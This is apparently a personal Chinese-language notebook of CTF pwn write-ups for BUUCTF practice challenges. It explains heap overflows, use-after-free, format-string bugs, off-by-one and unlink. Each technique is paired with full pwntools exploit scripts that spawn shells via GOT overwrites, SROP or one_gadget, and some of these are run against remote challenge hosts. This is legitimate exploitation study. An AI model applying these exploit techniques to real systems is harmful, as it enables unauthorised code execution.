不做题就去似 做题区这一块

[ZJCTF 2019]EasyHeap

--------------------------------
Easy Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit
--------------------------------

create: 一个指针数组 一共可以申请并记录十个chunk
edit: 可以往堆里写入任意 存在溢出
delete: 正常free 不存在uaf

if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}

我们需要让magic被一个大数覆盖 然后运行4869选项
很显然就是打unsortedbin attack
程序没有开启pie 这使得我们可以方便的覆盖
unsortedbin attack需要覆盖bk指针 bk->fd 会覆盖成main_arena 这里其实不用在意fd指针是否正确
综上 我们我们建立三个0x90大小的chunk
然后free掉第二个 用第一个的溢出覆盖bk指针就行

from pwn import *
p=process('./easyheap')
def create(size,data):
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Size of Heap :',str(size).encode('l1'))
p.sendafter(b'Content of heap:',data)
def edit(index,data):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',str(index).encode('l1'))
p.sendlineafter(b'Size of Heap :',str(len(data)).encode('l1'))
p.sendafter(b'Content of heap :',data)
def delete(index):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',str(index).encode('l1'))
def leet():
p.sendlineafter(b'Your choice :',b'4869')

create(0x80,b'a')
create(0x80,b'a')
create(0x80,b'a')
delete(1)
payload = b'a'*0x80 + p64(2213) + p64(0x91) + b'a'*8 + p64(0x6020C0 - 0x10)
edit(0,payload)
create(0x80,b'a')
leet()
p.interactive()

结果发现远程压根没有/home/pwn/flag文件 只能想其他办法
上面的方法没用
那么既然我们已经有system.plt地址 可以考虑got表覆盖 通过fastbindup来打
打fastbin需要我们拥有一个伪造的chunksize 在got表附近不太显示 一般会考虑在程序管理指针附近的位置伪造,然后控制指针
指针前面有IOfile 必然以0x7f结尾 这让我们有了利用的机会

0x6020b0 <stdin@@GLIBC_2.2.5>:  0x00007fa72edc38e0      0x0000000000000000
0x6020c0 <magic>: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0 <heaparray>: 0x000000002bc70010 0x000000002bc70080

也就是说 0x6020b0+8-3的位置开始的话 我们可以获得一个0x7f的long int数
那么我们只要利用fastbindup分配到0x6020b0+13的位置就行了 但是要注意fastbin是指向头部的 我们需要控制的指针是0x6020ad

create(0x60,b'a')
create(0x60,b'a')
delete(1)
edit(0,b'a'*0x68+p64(0x71)+p64(0x6020ad))
create(0x60,b'a')
create(0x60,b'a'*(0x6020E0-0x6020bd)+p64(0x0000000000602018))

gdb 检查一下 已经成功覆盖了

pwndbg> x/gx 0x0000000000602018
0x602018 <free@got.plt>: 0x000077302a883a70

然后写入0为system.plt
前面create1 的时候改成写入/bin/sh

from pwn import *
p=process('./easyheap')
def create(size,data):
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Size of Heap :',str(size).encode('l1'))
p.sendafter(b'Content of heap:',data)
def edit(index,data):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',str(index).encode('l1'))
p.sendlineafter(b'Size of Heap :',str(len(data)).encode('l1'))
p.sendafter(b'Content of heap :',data)
def delete(index):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',str(index).encode('l1'))
def leet():
p.sendlineafter(b'Your choice :',b'4869')

create(0x60,b'a')
create(0x60,b'a')
delete(1)
edit(0,b'a'*0x68+p64(0x71)+p64(0x6020ad))
create(0x60,b'/bin/sh')
create(0x60,b'a'*(0x6020E0-0x6020bd)+p64(0x0000000000602018))
edit(0,p64(0x400700))
delete(1)
p.interactive()

❯ python exp.py
[+] Starting local process './easyheap': pid 35286
[*] Switching to interactive mode
$ ls
babyheap_0ctf_2017 easyheap easyheap.id2 easyheap.zip
babyheap_0ctf_2017:Zone.Identifier easyheap.id0 easyheap.nam exp.py
core.24359 easyheap.id1 easyheap.til

打一下远程

❯ python exp.py
[+] Opening connection to node5.buuoj.cn on port 26206: Done
ls
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var

hitcontraining_uaf

----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------

Add:
最多五个:
由一个8字节的chunk存储一个函数指针和chunk指针 chunk可以任意大小 申请同时需要输入内容
一个数组存储这些8字节的信息chunk

del:
会把信息chunk和数据chunk都free 但是全都没有归零 有uaf

print:
print行为非常抽象 总体来说 他会puts 数据chunk内的内容 然后puts刚才说的函数指针 函数指针里函数就是print_note_content 输出也是通过调用这个函数指针实现的
反正总体上来说 我们应该需要控制这个函数指针

----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :2
Index :0
Success
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :2
Index :0
*** Error in `./hacknote': double free or corruption (fasttop): 0x090b5018 ***

这里的doublefree是系统直接返回的 说明程序在第二次free没进行任何检查 我们利用fastbin的doublefree只检查最顶部的性质来doublefree

----------------------
Your choice :2
Index :0
Success
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :2
Index :1
Success
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :2
Index :0
Success

但是打fastbin的方法会因为malloc数上限而失败,需要考虑一些更简洁的方法
如果我们连续free两次 会有两个0x10大小的fastbin连接 这时候如果我们也申请0x10大小的数据chunk 就可以直接控制第一个被free的信息chunk
这样就可以覆盖到指针了


from pwn import *
p = process( './hacknote' )
def add(size,data):
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Note size :',str(size).encode('l1'))
p.send(data)
def delete(index):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',str(index).encode('l1'))
def dump(index):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',str(index).encode('l1'))

add(48,b'a') #0
add(48,b'a') #1
delete(0)
delete(1)
magic = 0x08048945
add(8,p32(magic))
dump(0)
p.interactive()

axb_2019_fmt32

我一直都不太喜欢格式化字符串的题目 感觉太麻烦 但是考虑到这种题我做的太少了 所以找个标准化的练习一下
首先是要获得参数列表起始位置到格式化字符串的位置的偏移
可以用gdb查看地址然后计算 也可以直接盲打 这里都演示一遍

gdb查看地址:
下断点到printf(format) 的call printf之前 这里已经push了一个参数 也就是说 esp 指向的就是参数列表的开头

pwndbg> stack 60
00:0000│ esp 0xffffcb40 —▸ 0xffffcc60 ◂— 'Repeater:ss\n\n'
01:0004│-254 0xffffcb44 —▸ 0x804888d ◂— push edx /* 'Repeater:%s\n' */
02:0008│-250 0xffffcb48 —▸ 0xffffcb5f ◂— 0xa7373 /* 'ss\n' */
03:000c│-24c 0xffffcb4c ◂— 0x340
... ↓ 2 skipped
06:0018│-240 0xffffcb58 ◂— 0xd /* '\r' */
07:001c│-23c 0xffffcb5c ◂— 0x73000340
08:0020│-238 0xffffcb60 ◂— 0xa73 /* 's\n' */
09:0024│-234 0xffffcb64 ◂— 0
... ↓ 50 skipped
pwndbg> p/x $ebp-0x239
$1 = 0xffffcb5f

$ebp-0x239是ida给出的s字符串的位置

In [1]: (0xffffcb5f - 0xffffcb40)
Out[1]: 31

注意第0个参数是esp 也就是格式化字符串的地址 因此要减去4 31-4=27 那么我们填充一个字节 就是28 = 4*7 也就是第八个参数是格式化字符串

盲打:
先输入
aaaa%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p

Hello,I am a computer Repeater updated.
After a lot of machine learning,I know that the essence of man is a reread machine!
So I'll answer whatever you say!
Please tell me:aaaa%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p
Repeater:aaaa0x804888d/0xff8643af/0x340/0x340/0x340/0x56/0x61000340/0x25616161/0x70252f70/0x2f70252f/0x252f7025/0x70252f70/0x2f70252f/0x252f7025/0x70252f70/0x2f70252f/0x252f7025/0x70252f70/0x2f70252f/0x252f7025/0x70252f70/0x2f70252f/0x252f7025/0x70252f70

Please tell me:^C

在这里面找到0x61 可以看到在第七个和第八个都有出现 第七个里多一个 我们就填充一个b 然后再aaaa%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p

Please tell me:baaaa%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p
Repeater:baaaa0x804888d/0xffb6ed5f/0x340/0x340/0x340/0x57/0x62000340/0x61616161/0x252f7025/0x70252f70/0x2f70252f/0x252f7025/0x70252f70/0x2f70252f/0x252f7025/0x70252f70/0x2f70252f/0x252f7025/0x70252f70/0x2f70252f/0x252f7025/0x70252f70/0x2f70252f/0x252f7025

这里就是对齐过的 第八个参数就是aaaa的位置 之后我们的payload都要加一个’b’

然后我们需要做的是泄露libc的地址 由于我们已经知道aaaa是第八个参数 可以用f“%{n}8s” 这种格式来输出指定参数的位置上的地址对应的字符串
例如如果我们输入b’b‘ + p32(puts.got) + b’%8$s’ 就能输出puts的got内的内容
输出之后 这一题我们使用got表覆盖的方式来打
我们用fmtstr_payload 来快速生成写入的payload

fmtstr_payload(offset , writes,numbwritten ,write_size)
第一个参数是偏移 前面已经试出来第八个参数 这里就填8
writes是一个字典 {} 左边是要写入的位置 右边是要写入的值
numbwritten是已经输出的个数这里是Repeater:b 也就是 10
综上我们第二个payload就是

payload = b'a' + fmtstr_payload(8,{printf_got:system_libc},10)

由于system前面有个Repeater: 所以我们先打个分号

[+] Starting local process './axb_2019_fmt32': pid 19622
0xf7d191d0
/home/juryorca/pwn/Buuctf/axb_2019_fmt32/exp.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.send(payload)
[*] Switching to interactive mode
Y\xda\xf7
Please tell me:Repeater:a \x8d \xcf @ @aaa\x15\xa0\x04\x08\x14\xa0\x04\x08\x16\xa0\x04\x08\x17\xa0\x04\x08
sh: 1: Please: not found
sh: 1: Repeater:: not found
$ ls
axb_2019_fmt32 axb_2019_fmt32.id1 axb_2019_fmt32.nam exp.py
axb_2019_fmt32.id0 axb_2019_fmt32.id2 axb_2019_fmt32.til
$
[*] Interrupted
[*] Stopped process './axb_2019_fmt32' (pid 19622)
from pwn import *
context(arch = 'i386')
p=process ( './axb_2019_fmt32')
printf_got = 0x0804A014
payload = b'b' + p32(printf_got) + b'%8$s'
p.send(payload)
p.recvuntil(p32(printf_got))
printf_libc =u32( p.recv(4) )
print(hex(printf_libc))
libc_base = printf_libc-(0xf7d821d0-0xf7d28000)
system_libc =libc_base + 0x000524c0
payload = b'a' + fmtstr_payload(8,{printf_got:system_libc},10)
p.send(payload)
payload = ';/bin/sh'
p.recv(1)
p.send(payload)
p.interactive()

打远程的时候注意libc版本问题。

hitcontraining_heapcreator

这题是我自主写的 不过相比网上的wp写的复杂了,思维太公式化这一块
我自己的思路是利用off-one-byte伪造出向前合并 大致是 从第三块合并到第一块 这样重新申请出来的就可以控制到和第二块的重叠
并且在unsortedbin切割的过程中可以通过main_arena 泄露出libc地址 然后通过控制指针来覆盖got表

具体流程如下:

先申请四次

create(0x80,b'a')
create(0x88,b'a')
create(0x60,b'a')
create(0x80,b'/bin/sh\x00')

第四个用于当作边界防止unsortebbin和top_chunk合并,同时写入/bin/sh便于后续运行system(‘/bin/sh’)
第三块的大小是刻意设计的 0x70+0x20是0x90 如果覆盖size进行重叠 0x90正好能进入unsortebin 而0x70进入fastbin
fastbin不会重置后一块的prev_inuse ,使得程序不会因为double free检查崩溃
第一块用于free之后和第三块进行合并
第二块是被重叠的

进行第三部分 指针chunk的prev_size 和size伪造

edit(1,b'a'*0x80+p64(0x90+0x20+0x90)+b'\x90')

先free 第一部分 再free 第三部分

delete(0)
delete(2)

这时候重叠已经完成 unsortedbin从第一部分数据chunk开始一直到第三部分数据chunk结束
申请0x90+0x20大小的chunk 这样fd和bk数据会被填入第二部分的数据chunk

create(0x90+0x20-0x10,b'a')
main_arena=u64(show(1).ljust(8,b'\x00'))

这时候再申请任意大小 ,就会有一个指针chunk和第二部分的数据chunk重叠 可以覆盖指针

create(0x30,b'a')

后续就不说了 相对来说比较简单

总的exploit

from pwn import *

#p = process('./heapcreator')
p = remote('node5.buuoj.cn',25550)
def create(size,data):
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Size of Heap :' ,str(size).encode('l1'))
p.sendafter(b'Content of heap:',data)
def edit(index,data):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',str(index).encode('l1'))
p.sendafter(b'Content of heap :',data)
def show(index):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',str(index).encode('l1'))
p.recvuntil(b'Content : ')
return p.recvline().rstrip(b'\n')
def delete(index):
p.sendlineafter(b'Your choice :',b'4')
p.sendlineafter(b'Index :',str(index).encode('l1'))

create(0x80,b'a')
create(0x88,b'a')
create(0x60,b'a')
create(0x80,b'/bin/sh\x00')
edit(1,b'a'*0x80+p64(0x90+0x20+0x90)+b'\x90')
delete(0)
delete(2)
create(0x90+0x20-0x10,b'a')
main_arena=u64(show(1).ljust(8,b'\x00'))
create(0x30,b'a')
# 45390 system
libc_base = main_arena - (0x7602b25c4b78-0x7602b2200000)
system = libc_base + 0x45390
print(hex(libc_base))
print(hex(system))
free_got = 0x602018
payload = p64(0x30)+p64(free_got)
edit(1,payload)
edit(2,p64(system))
delete(3)
p.interactive()

我说这个过程麻烦 其实是我的过程包含了预期解的过程 并且预期解更简单
就是构造重叠不一定需要合并 其实只需要修改size并free 如果两个fastbin重叠 申请过来自然就重叠了 而我们刚才的第三部分已经有了fastbin和unsortedbin的重叠
那么如果我们第三部分申请的是0x20大小 然后覆盖size为0x40 再申请回来 数据chunk自然会和指针chunk重叠。
然后控制指针任意读任意写就行了。

0ctf_2017_babyheap

这题之前参考wp写过一次 但是这次是自主写的 和wp比对了一下 发现之前的写法相对 麻烦 目前的写法可能还能优化 主要是在构造重叠方面
程序功能大致如下
allocate:任意大小申请,有初始化
fill:填充 可以溢出
delete:free 有归零
dump:输出

我这次的思路是伪造fake chunk头,覆盖大小 然后通过unsortedbin free检查的缺陷 造成重叠
流程:

申请阶段
allocate(0x30)
allocate(0x80)
allocate(0x80)
allocate(0x30)
allocate(0x60) #4
allocate(0x60)
allocate(0x60)
4开始是为了后续打fastbindup用的可以不管 3是用来隔离的
主要看1和2
我们覆盖1的大小使得1大小变大 然后free掉,这时候产生一个存在和2重叠的unsortedbin
注意unsortebinfree时会对下一个chunk检查 为了构造重叠 我们这里覆盖1大小为0xb0 那么下一个大小就是0x70 size应该填入0x71
这里覆盖完之后直接free1
然后再申请回来
这时候1和2已经重叠了 但是2的data被破坏了 手动修复一下就行
然后再free2即可泄露main_arena
泄露了之后就是fastbin dup打到malloc_hook这个比较简单就不说了
相对来说可以优化的地方是构造重叠第一个chunk可以是fastbin 检查会少点。

ciscn_2019_n_3

这一题和hitcontraining_uaf思路特别类似 甚至比那个更简单
也是删除两次 然后申请一个大小和带指针chunk一致的数据chunk 就能构造重叠 结合uaf就能打system(“/bin/sh“)
但是这题只给四个字节 所以改打system(“sh”)

from pwn import *
p = remote('node5.buuoj.cn',27652)
def new_int(index,num):
p.sendlineafter(b'CNote >',b'1')
p.sendlineafter(b'Index >',str(index).encode('l1'))
p.sendlineafter(b'Blob type:' , b'1')
p.sendlineafter(b'Value >',str(num).encode('l1'))
def new_text(index,lenth,data):
p.sendlineafter(b'CNote >',b'1')
p.sendlineafter(b'Index >',str(index).encode('l1'))
p.sendlineafter(b'Blob type:' , b'2')
p.sendlineafter(b'Length >',str(lenth).encode('l1'))
p.sendlineafter(b'Value >',data)
def delete(index):
p.sendlineafter(b'CNote >',b'2')
p.sendlineafter(b'Index >',str(index).encode('l1'))
new_int(0,1)
new_int(1,1)
delete(1)
delete(0)
new_text(2,12,b'sh\x00\x00'+p32(0x08048500))
delete(1)
p.interactive()

babyfengshui

add: 申请任意大小,会初始化 。再申请一个0x80大小的管理chunk
delete: 删除 会把0x80的管理chunk指针归零,但是不会重置管理chunk的数据
display: 输出
update: 编辑 用了个很奇怪的手段 就是写入字节不能超过管理chunk的size起点

很显然漏洞就在update里 它默认两个时紧邻的 但这显然不现实 我们只要在前面free过一个0x88大小的chunk 然后申请0x88大小的chunk 数据chunk就会分配到非常前面
后面就很简单了 能控制指针没有pie的程序的统一套路

from pwn import *

#p = process('./babyfengshui_33c3_2016')
p = remote('node5.buuoj.cn', 29879)
def add(size):
p.sendlineafter(b'Action: ' , b'0')
p.sendlineafter(b'size of description:',str(size).encode('l1'))
p.sendlineafter(b'name: ',b's')
p.sendlineafter(b'text length:',str(size).encode('l1'))
p.sendlineafter(b'text: ',b'a')
def delete(index):
p.sendlineafter(b'Action: ' , b'1')
p.sendlineafter(b'index: ',str(index).encode('l1'))
def display(index):
p.sendlineafter(b'Action: ' , b'2')
p.sendlineafter(b'index: ',str(index).encode('l1'))
p.recvuntil(b'description: ')
return(p.recvline().rstrip(b'\n'))
def update(index,data):
p.sendlineafter(b'Action: ' , b'3')
p.sendlineafter(b'index: ',str(index).encode('l1'))
p.sendlineafter(b'text length: ',str(len(data)).encode('l1'))
p.sendlineafter(b'text: ',data)

add(0x20)
add(0x20)
delete(0)
add(0x80)
free_got = 0x0804B010
update(2,b'/bin/sh\x00'+b'a'*0x78+p32(0)+p32(0x29)+b'a'*0x20+p32(0)+p32(0x89)+p32(free_got))
leak = display(1)
free_libc = u32(leak[:4])
print(hex(free_libc))
libc_base = free_libc - (0xf7da0750-0xf7d30000)
system_libc = libc_base + 0x0003a940
update(1,p32(system_libc))
delete(2)
p.interactive()

stkof

非常经典的一题 unlink的基础模板
打unlink的时候要注意是要在被free的chunk上一个chunk里面伪造chunk头 因为我们指针一般从数据开始 但是unsortedbin管理指针一般从head开始
然后就是套路过程 不多说

from pwn import *
p = remote('node5.buuoj.cn',27474)
def new(size):
p.sendline(b'1')
p.sendline(str(size).encode('l1'))
p.recvuntil(b'OK')
def edit(index,data):
p.sendline(b'2')
p.sendline(str(index).encode('l1'))
p.sendline(str(len(data)).encode('l1'))
p.send(data)
p.recvuntil(b'OK')
def delete(index):
p.sendline(b'3')
p.sendline(str(index).encode('l1'))

new(0x20)
new(0x50)
new(0x90)
new(0x80)
new(0x20)
ptr =0x602158
edit(2,b'a'*0x58+p64(0xa1)+ p64(ptr-0x18) + p64(0x91)+p64(ptr-0x18)+p64(ptr-0x10)+b'a'*0x70+p64(0x90)+p64(0x90))
delete(4)
edit(3,p64(0)+p64(0x602018))
edit(1,p64(0x400760))
edit(3,p64(0)+p64(0x602020))
delete(1)
p.recvuntil(b'OK\n')
puts_libc = u64(p.recvline().strip(b'\n').ljust(8,b'\x00'))
# 0x7d7d1d46f690-0x7d7d1d400000
libc_base = puts_libc - (0x7d7d1d46f690-0x7d7d1d400000)
# system 0000000000045390
system_libc = libc_base + 0x0000000000045390
edit(3,p64(0)+p64(0x602018))
edit(1,p64(system_libc))
edit(5,b'/bin/sh\x00')
delete(5)
p.interactive()

pwnable_hacknote

和前面有个叫hacknote的非常相似 但是这题用到一个trick
因为我们覆盖完system后参数也是指向system地址的 解决这个问题就是在这个地址后面加’;sh\x00’

mrctf2020_easy_equation

比较简单的格式化字符串 区别是是64位的

from pwn import *
p = remote('node5.buuoj.cn',27922)
#p = process('./mrctf2020_easy_equation')
payload = b'1%1$c%9$n'+p64(0x60105C)
p.sendline(payload)
p.interactive()

./ciscn_2019_es_7

基本上是工具的使用 最后rop链要求满足
p64(sigreturn_addr)+p64(syscall_ret)+bytes(sigframe)
sigreturn_addr 是mov rax ,15;ret 的gadget

from pwn import *
from LibcSearcher import *
#context.arch='amd64'
context(os='linux',arch='amd64')

#p=process("./ciscn_2019_es_7")
p=remote('node5.buuoj.cn',27972)

syscall_ret=0x400517
sigreturn_addr=0x4004da
system_addr=0x4004E2
ret = 0x4003a9
rax=0x4004f1

p.send(b"/bin/sh"+b"\x00"*9+p64(rax))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr -0x118
sigframe.rip = syscall_ret
p.send(b"/bin/sh\x00"*2+p64(sigreturn_addr)+p64(syscall_ret)+bytes(sigframe))

p.interactive()

roarctf_2019_easy_pwn

这题最后有个手法比较神奇,然后中间涉及off_one_byte之后 如何利用,值得记录
add:可以申请任意大小
write:堆内写入,有1字节溢出
drop: 删除 会归零
show:输出

总体上没有直接的uaf 但是这个结构明显是off-one-byte
我们能最大申请的是0x100 但是如果要覆盖后面的size ,我们得申请0x98或者0x88 因为当我们输入大于0x101的数会被强制变成10
流程如下:
add(0x88) #0
add(0x100) #1
add(0x100) #2
add(0x30) #3 做边界
write(1,b’a’*0xf0+p64(0x100)+p64(0x11)) 伪造prev_size
delete(1)
write(0,b’a’0x88+b’\x00’,1)
add(0x80) #1
add(0x10) #4
add(0x10) #5
其实5不需要
delete(1)
delete(2)
这时候已经发生向前合并 创造一个2和1的大空间
add(0x88) #1
这时候在4的位置 会有fd和bk指针 用于泄露libc
找到malloc_hook - 0x23 我们分配到那个位置 作为chunk起点
add(0x60) #2
add(0x60) #6
用来打fastbindup
delete(6)
delete(2)
write(4,p64(target))
add(0x60) #2
add(0x60) #6 ,会控制到malloc_hook-0x13
write(6,b’a’
(0x13-8)+p64(one_gadget)+p64(realloc))
print(one_gadget)
add(1)
p.interactive()

这里我们覆盖了realloc_hook为one_gadget
malloc_hook为realloc
因为直接one_gadget全不通 就中途经过一个函数 调整栈状态看看能否打通

from pwn import *
#p = process('./roarctf_2019_easy_pwn')
p = remote('node5.buuoj.cn',26051)
def add(size):
p.sendlineafter(b'choice:',b'1')
p.sendlineafter(b'size:',str(size).encode('l1'))
def write(index,data,poison = 0):
if poison :
lenth = len(data)-1+10
else:
lenth = len(data)
p.sendlineafter(b'choice:',b'2')
p.sendlineafter(b'index:',str(index).encode('l1'))
p.sendlineafter(b'size:',str(lenth).encode('l1'))
p.sendafter(b'content: ',data)
def delete(index):
p.sendlineafter(b'choice:',b'3')
p.sendlineafter(b'index:',str(index).encode('l1'))

def show(index):
p.sendlineafter(b'choice:',b'4')
p.sendlineafter(b'index: ',str(index).encode('l1'))
p.recvuntil(b'content: ')
return p.recvuntil(b'Note system').rstrip(b'Note system')
add(0x88) #0
add(0x100) #1
add(0x100) #2
add(0x30) #3
write(1,b'a'*0xf0+p64(0x100)+p64(0x11))
delete(1)
write(0,b'a'*0x88+b'\x00',1)
add(0x80) #1
add(0x10) #4
add(0x10) #5
delete(1)
delete(2)
add(0x88) #1
leak = u64(show(4)[:8])
libc_base = leak - (0x70423abc4b78-0x70423a800000)
malloc_hook = libc_base+(0x7710c1bc4b10- 0x7710c1800000)
target = malloc_hook - 0x23
#0x45216 0x4526a 0xf02a4 0xf1147
one_gadget = libc_base + 0x4526a
realloc = libc_base + 0x00000000000846c0
print(hex(libc_base))

add(0x60) #2
add(0x60) #6
delete(6)
delete(2)
write(4,p64(target))
add(0x60) #2
add(0x60) #6 ,会控制到malloc_hook-0x13

write(6,b'a'*(0x13-8)+p64(one_gadget)+p64(realloc))
print(one_gadget)
add(1)
p.interactive()


npuctf_2020_easyheap

这题和之前sekaictf遇到的一个非常相似,但是sekaictf那个是覆盖一个超大的size生成unsortedbin以泄露libc 这题我们无法申请大的chunk 只能malloc(0x18) 和 malloc(0x38) 要产生unsortedbin非常麻烦 不过幸好pie关闭 可以直接覆盖指针到got表去泄露。

同时tcachebin 的检查更少 覆盖size后free操作对下一块没任何检查 这使得利用更加简便

  1. add : 可以申请0x18与0x38 大小,先会申请一个管理chunk malloc(0x10)

  2. edit : 可以多一个字节编辑 这使得size覆盖得以实现

  3. show: 打印 用的是%s

  4. delete: 先删除数据chunk 再删管理chunk

由于前面这种重叠涉及多次 我就不细说思路怎么来的了 直接上流程:

add(1) #0
add(1) #1
edit(0,b'a'*24+b'\x41')
delete(1)
add(2) #1

这就直接产生重叠了 可以看到tcache要构造重叠非常轻松

然后就是覆盖指针 泄露libc 覆盖got表

全部payload

from pwn import *

#p = process('./npuctf_2020_easyheap')
p = remote('node5.buuoj.cn',26825)
def add(size):
if size == 1:
size = 24
else :
size = 56
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Size of Heap(0x10 or 0x20 only) :',str(size).encode('l1'))
p.sendafter(b'Content:',b'a')
def edit(index,data):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',str(index).encode('l1'))
p.sendafter(b'Content: ',data)
def show(index):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',str(index).encode('l1'))
p.recvuntil(b'Content : ')
return(p.recvline().rstrip(b'\n'))
def delete(index):
p.sendlineafter(b'Your choice :',b'4')
p.sendlineafter(b'Index :',str(index).encode('l1'))
add(1) #0
add(1) #1
edit(0,b'a'*24+b'\x41')
delete(1)
add(2) #1
edit(1,b'a'*0x18+p64(0x21)+p64(0x38)+p64(0x602018))
free_libc = u64(show(1)+b'\x00\x00')
libc_base = free_libc - 0x0000000000097950
print(hex(libc_base))
system_libc = libc_base + 0x000000000004f440
edit(1,p64(system_libc))
edit(0,b'/bin/sh\x00')
delete(0)
p.interactive()

hitcontraining bamboobox

这题和前面有一题几乎一致! 见前文的stkof

不过当我写完这题发现main里面有个malloc申请的存储函数指针的堆块我压根没用过

网上搜到说是可以用house of force分配到那里

[BUUCTF]PWN——hitcontraining_bamboobox(House of force+unlink)_bamboobox pwn-CSDN博客

ACTF_2019_babyheap

这题和之前有个特别像

我就不细说了,主要是我把data段的binsh漏了导致多了一步泄露heap地址 虽然写出来了 但是但凡多点限制我可能就寄了

from pwn import *

#p = process('ACTF_2019_babyheap')
p = remote('node5.buuoj.cn',28944)
def menu(index):
p.sendlineafter(b'Your choice:',str(index).encode('l1'))
def add(size,data):
menu(1)
p.sendlineafter(b'Please input size:',str(size).encode('l1'))
p.sendafter(b'Please input content:',data)
def delete(index):
menu(2)
p.sendlineafter(b'Please input list index:',str(index).encode('l1'))
def dump(index):
menu(3)
p.sendlineafter(b'Please input list index:',str(index).encode('l1'))
p.recvuntil(b'Content is \'')
return p.recvuntil(b'\'').rstrip(b'\'')
add(0x20,b'/bin/sh\x00')
add(0x20,b'/bin/sh\x00')
add(0x20,b'/bin/sh\x00')
delete(1)
delete(2)
add(0x10,p64(0x602060))
leak = u64(dump(1).ljust(8,b'\x00'))
binsh = leak+0x20
delete(3)
add(0x10,p64(binsh)+p64(0x4007a0))
p.interactive()




joker